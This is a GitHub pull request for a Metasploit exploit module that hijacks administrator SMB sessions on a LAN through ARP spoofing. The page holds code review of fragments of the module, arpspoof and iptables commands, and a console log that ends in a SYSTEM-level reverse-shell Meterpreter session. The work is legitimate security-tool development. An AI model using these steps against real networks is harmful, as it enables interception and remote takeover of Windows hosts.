Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add SMB Shadow Module: Direct SMB Session Takeover #15903

Merged
merged 8 commits into from
Jan 7, 2022

Conversation

usiegl00
Copy link
Contributor

This module intercepts direct SMB connections on the LAN

Both the SMB Server and Client must be on the LAN.
The SMB Client must be authenticating to the Server as an Administrator.
This module is dependent on an external ARP spoofer.
The builtin ARP spoofer was not providing sufficient host discovery.
Bettercap v1.6.2 was used during the development of this module.

Verification Steps

  1. Ensure Windows SMB Client and Server are on the LAN
  2. Run bettercap targeting both the SMB Client and Server
  3. Start msfconsole
  4. Do use exploit/windows/smb/smb_shadow
  5. Do run
  6. Make the SMB Client connect to the SMB Server as an Administrator
  7. Receive a Meterpreter Session as SYSTEM on the SMB Server host

See the paper on the SMB Shadow Attack:
https://strontium.io/blog/introducing-windows-10-smb-shadow-attack

SideNote -- The guide for accepting modules mentions the BailiWicked module, which has a spelling error. (Baliwicked)

This module intercepts direct SMB connections on the LAN.
Both the SMB Server and Client must be on the LAN.
The SMB Client must be authenticating to the Server as an Administrator.
This module is dependent on an external ARP spoofer.
Add additional clarity and details to the existing documentation for the
smb_shadow module. Remove some outdated comments and fix some spelling
errors.
Change [?..] to [?..-1] to be compatible with older ruby versions. Fix
failing msftidy rubocop linting tests.
@cdelafuente-r7 cdelafuente-r7 self-assigned this Nov 29, 2021
Copy link
Contributor

@adfoster-r7 adfoster-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the pull request! Added some comments that would be useful to implement 👍


# This starts the SYN capture thread as part of step two.
def start_syn_capture
@syn_capture_thread = Thread.new {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have a wrapper for creating threads in framework, so that they can be tracked and killed by framework itself

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Example:

@relay_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServerRelay", false) do

pfctl.close_write
end
IO.popen("pfctl -e", err: "/dev/null").close
elsif RUBY_PLATFORM.include?("nix")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like this wouldn't match against my linux environment:

irb(main):001:0> RUBY_PLATFORM
=> "x86_64-linux-musl"

##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We may want to downgrade this to ManualRanking

https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking

end
IO.popen("pfctl -e", err: "/dev/null").close
elsif RUBY_PLATFORM.include?("nix")
%x{iptables -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We may want to add cleanup for this, i.e. removing the rules that have been added

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I wonder if it would make sense to do validation upfront to see if the required pfctl/iptables, or potentially other tools like ufw etc, are installed - before attempting to run the module? 🤔

The current pattern would be to use fail_with:

if reg_key.blank?
fail_with(Failure::BadConfig, "#{peer} - Please supply a valid key name")
end

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a builtin method I can use to check if a command is in the path?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A similar approach to this should work 👍

def cmd_db_nmap_help
nmap = find_nmap_path
unless nmap
print_error("The nmap executable could not be found")
return
end
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')

def find_nmap_path
Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe")
end

%x{iptables -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP}
else
print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")
print_error("WARNING : Port 445 forwarding must be blocked manually.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to change this to a failure if it's essential to the module running? If so, I wonder if we should fail_with by default here - but allow a configurable datastore option to override that functionality if we're sure we've set up our local environment correctly - i.e. having pre-existing valid iptables/network perms in place

Comment on lines 40 to 42
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just confirming - are these values are required, or were they transferred from an existing module? 👀

# This allows us to have the time to modify the packets before forwarding them.
def disable_p445_fwrd
if RUBY_PLATFORM.include?("darwin")
IO.popen("pfctl -f -", "r+", err: "/dev/null") do |pfctl|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Because of the side effects on the system itself, we may want to add the DefangedMode option being set to true before we run this module, as it's modifying ip tables etc

Pattern can be seen over here:

def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.
Disable the DefangedMode option if you have authorization to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end

Note, the wording would be updated to align with the needs of this module

print_error("WARNING : Not running as Root. This can cause socket permission issues.") unless Process.uid == 0
@sessions = {}
@main_threads = []
@interface = datastore['INTERFACE'] || Pcap.lookupdev
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd be in favor of not defaulting the interface here, and marking as explicitly required within the module options, just to remove any unexpected behavior:

    register_options(
      [
        OptString.new('SHARE',    [ true, "The share to connect to", 'ADMIN$' ]),
        OptString.new('INTERFACE', [true, 'The name of the interface']),

3. Do `use exploit/windows/smb/smb_shadow`
4. Do `run`
5. Wait for any SMB Client to connect to any SMB Server as an Administrator
6. Receive a Meterpreter Session as SYSTEM on the SMB Server host
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.


def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows SMB Direct Session Takeover',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What are your thoughts on renaming the file from smb_shadow.rb to align closer with this name? Just to avoid confusion with other shadow techniques/tools in the windows ecosystem

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How about smb_takeover.rb?

@adfoster-r7 adfoster-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Dec 2, 2021
@github-actions
Copy link

github-actions bot commented Dec 2, 2021

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]
packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]
packet.eth_header.eth_src = str2mac(@mac)
packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 Dec 2, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

During testing, this statement failed due to @sessions[packet.tcp_header.tcp_src][:dstmac] being nil. In my understanding, this variable is set in a separate thread in start_syn_capture. I think there is a race condition issue here, confirming what @adfoster-r7 said in this comment. I could fix the issue by adding a retry in a rescue block. Note that it is not a solution and proper synchronisation (mutex) should be put in place instead:

begin
  packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
rescue => e
  sleep 0.1
  retry
end

@sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack
@sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq
@sessions[packet.tcp_header.tcp_src][:active] = true
@sessions[packet.tcp_header.tcp_src][:dstmac] = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst)))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was not able to make this exploit work as expected until I found that, at some point, the client was communicating with the server directly, without passing through my machine. Apparently, the ARP spoofing attack was not properly working. After a bit of investigation, I found out this ARP request was the issue.

The ARP spoofing attack, which is running in the background, keeps sending broadcast requests, telling the client that the server is at the attacker MAC address. But, since this ARP request sent in start_syn_capture is asking "Who has [server IP]?", the server immediately replies with its MAC address (the legitimate one). At this point, the client sees this reply and automatically updates its ARP table to replace the poisoned value with the legitimate one. The server IP now matches its real MAC address and the MiMT attack fails, until the ARP spoofing tool sends a new poisoned broadcast request. This short change in the client ARP table make the whole exploit fails.

In order to confirm my assumption, I tried to bypass this ARP request and hard-coded the server MAC address instead. The exploit worked again, pretty reliably actually.

@sessions[packet.tcp_header.tcp_src][:dstmac] = '<server MAC addresse>'

@usiegl00
Copy link
Contributor Author

usiegl00 commented Dec 2, 2021

Thank you all for the clear and informative reviews.

Add mutex to module to prevent race condition. Add sleep to after arp
query to prevent arp cache restoration. Add DefangedMode to indicate
system network changes. Change module INTERFACE option to be explicit.
Remove unnecessary module payload parameters. Add module Notes.
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for updating the code @usiegl00. I re-tested the module and it works great!

I just left a few comments related to other minor code changes. Also, I added a design suggestion about how RubySMB is used in your module. Please, let me know what you think about it.

modules/exploits/windows/smb/smb_shadow.rb Show resolved Hide resolved
modules/exploits/windows/smb/smb_shadow.rb Outdated Show resolved Hide resolved
modules/exploits/windows/smb/smb_shadow.rb Outdated Show resolved Hide resolved
modules/exploits/windows/smb/smb_shadow.rb Outdated Show resolved Hide resolved
if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB")
case smb2[11..12]
when "\x00\x00" # Negotiate Protocol Request
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

One interesting improvement would be to use RubySMB client and override specific methods to customize the logic. For example, you can override smb2_3_negotiate_request and select the one dialect needed for this exploit. I believe smb2_authenticate would also need to be overridden to pass the SessionSessionRequest packet from the victim and hijack the session.

Then, you can implement a specific Dispatcher class that would be used to send and receive packets using PackFu, doing all the acknum and seqnum magic for the MiTM attack. The default Dispatcher class is the Socket Dispatcher, which can be replaced by any class that inherit from the Base Dispatcher class. You just need to implement the logic for connect, send_packet and recv_packet, capturing and sending packets using PacketFu.

The main benefit of this design is to reuse all the RubySMB client helpers without having to reimplement everything from scratch in main_thread. The client has almost everything to create/write a file, manage Windows services, etc. The only functions missing for now are to create and delete a service, as you mentioned in a comment. However, this can be easily added to RubySMB library. You just need to add create_service_w ([MS-SCMR] 3.1.4.12 RCreateServiceW (Opnum 12)) and delete_service ([MS-SCMR] 3.1.4.3 RDeleteService (Opnum 2)) methods to svcctl.rb and implement the corresponding DCERPC packets (request and response) in lib/ruby_smb/dcerpc/svcctl/. I can help you with this, if you choose to go that path.

So, main_thread would be refactored into something along these lines:

dispatcher = RubySMB::Dispatcher::TheNewDispatcher.new(packet)
client = RubySMB::Client.new(dispatcher, smb1: false, smb2: true, smb3: false)
client.negotiate
client.authenticate

tree = client.tree_connect(path)
file = tree.open_file(filename: filename, write: true, disposition: RubySMB::Dispositions::FILE_SUPERSEDE)
file.write(data: data)
file.close
tree.disconnect!

tree = client.tree_connect("\\\\#{address}\\IPC$")
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
scm_handle = svcctl.open_sc_manager_w(address)
svc_handle = svcctl.create_service(scm_handle, service) # the one that would need to be added to RubySMB
svcctl.start_service_w(svc_handle)
...

I think using RubySMB this way would be great improvement for the module readability and would make it easier to maintain/update. But it's up to you, just a suggestion.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That is a great idea.
I will open a pr with a new dispatcher for ruby_smb after this pr is merged.
We can also add the missing DCERPC packets.
Once the new pr is merged, I will update this module to utilize it.

@syn_capture_thread.exit if @syn_capture_thread
@ack_capture_thread.exit if @ack_capture_thread
@main_threads.map(&:exit) if @main_threads
print_status 'Cleaned Up.'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think the cleanup method should also remove the firewall rules (if any) to revert any changes made to the user's system.

Remove the return statement after fail_with which will never be reached.
Add documentation for the module options. Reset the packet forwarding
settings during the module cleanup.
@usiegl00
Copy link
Contributor Author

Just checking in. : )
Let me know if I can help get this across the line.

Happy Holidays!

Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for updating the code @usiegl00. I'm sorry for the delay.
I left a couple of comments about the use of pfctl on Mac. Otherwise, it looks good.

Do you still plan to add the suggested RubySMB dispatcher logic? If so, this should be added directly to this module (in this PR), since it is very specific to it. Only the new DCERPC packet in svcctl.rb can be added to the RubySMB library later, if you choose to do so.

Happy Holidays too!

unless pfctl
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
end
IO.popen("#{pfctl} -f -", 'r+', err: '/dev/null') do |pf|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Apparently, using -f flushes the existing rules before adding this new rule. This is the warning I had on Mac OS X:

pfctl: Use of -f option, could result in flushing of rules
present in the main ruleset added by the system at startup.
See /etc/pf.conf for further details.
...

I checked and confirmed the original rules were gone.

Whenever possible, we need to make sure the packet filter behavior remains the same and only the needed rule should be added.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I will use a packet filter anchor to make sure the changes are isolated.

unless pfctl
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
end
IO.popen("#{pfctl} -d", err: '/dev/null').close
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

According to the documentation, pfctl -d only disables the packet filter. The added rule is not deleted. We need to make sure the original state is restored. This also includes the state of the packet filter. If it was originally enabled, it must stay enabled. Only the new rule should be deleted.

The packet filter anchor will prevent the flushing of previous packet
filter rules. Using an anchor also allows us to remove the rule, instead
of disabling the filter.
@usiegl00
Copy link
Contributor Author

I suggest this pr be merged as is. The dispatcher work will go into a future pr.

(Thank you for reviewing my work. This is my first substantial msf contribution and I would enjoy a quick chat to share context on my interests. See email.)

Update the iptables invocation to use the FORWARD table, which filters
packets being routed through the device. Add check for STATUS_PENDING
response from the server while creating the service.
The mutex will prevent multiple calls to cleanup when the module is
stopped with Ctrl-C. Add a Notes section to the documentation which
describes arpspoof usage and such.
@cdelafuente-r7 cdelafuente-r7 merged commit 41ebb3a into rapid7:master Jan 7, 2022
@cdelafuente-r7 cdelafuente-r7 added rn-modules release notes for new or majorly enhanced modules and removed docs needs-linting The module needs additional work to pass our automated linting rules labels Jan 7, 2022
@cdelafuente-r7
Copy link
Contributor

Thank you @usiegl00 for this great module! I retested everything using the following environment:

  • client: Windows 10
  • server: Windows Server 2016
  • attacker (MiTM): Kali Linux

I also used the arpspoof utility for the MiTM attack and let the module intercept traffic between the client and the server:
arpspoof -i <interface> -t <client IP> <server IP>
arpspoof -i <interface> -t <server IP> <client IP>

I successfully got a Meterpreter session and verified the cleanup was done. I went ahead land it.

  • Example output:
msf6 exploit(windows/smb/smb_shadow) > options 

Module options (exploit/windows/smb/smb_shadow):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DefangedMode  false            yes       Run in defanged mode
   DisableFwd    true             yes       Disable packet forwarding on port 445
   INTERFACE     eth0             yes       The name of the interface
   SHARE         ADMIN$           yes       The share to connect to


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.2.21  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/smb_shadow) > run

[*] Started reverse TCP handler on 192.168.2.21:4444 
[+] INFO : Warming up...
[*] Self: 192.168.2.21 | bb:aa:cc:11:22:33
[+] INFO : Packet forwarding on port 445 disabled.
[*] INFO : This module must be run alongside an arp spoofer / poisoner.
[*] INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.
[*] Connecting to the defined share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \PZijpQLG.exe...
[*] Connecting to the Service Control Manager...
[*] Creating a new service...
[*] Closing service handle...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \PZijpQLG.exe...
[*] Sending stage (175174 bytes) to 192.168.2.22
[*] Meterpreter session 1 opened (192.168.2.21:4444 -> 192.168.2.22:49678 ) at 2022-01-07 10:00:02 -0500
^C[*] Cleaning Up...
[+] INFO : Packet forwarding on port 445 reset.
[*] Cleaned Up.
[-] Exploit failed [user-interrupt]: Interrupt 
[-] run: Interrupted
msf6 exploit(windows/smb/smb_shadow) > sessions

Active sessions
===============

  Id  Name  Type                     Information                       Connection
  --  ----  ----                     -----------                       ----------
  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ WIN2016SQL  192.168.2.21:4444 -> 192.168.2.22:496
                                                                       78  (192.168.2.22)

msf6 exploit(windows/smb/smb_shadow) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo 
Computer        : WIN2016SQL
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : MYLAB
Logged On Users : 7
Meterpreter     : x86/windows
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds a new exploit module that implements the Shadow Attack, SMB Direct Session takeover. Before running this module, a MiTM attack needs to be performed to let it intercept SMB authentication requests between a client and a server. This can be done by using any kind of ARP spoofer/poisoner tools in addition to Metasploit. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants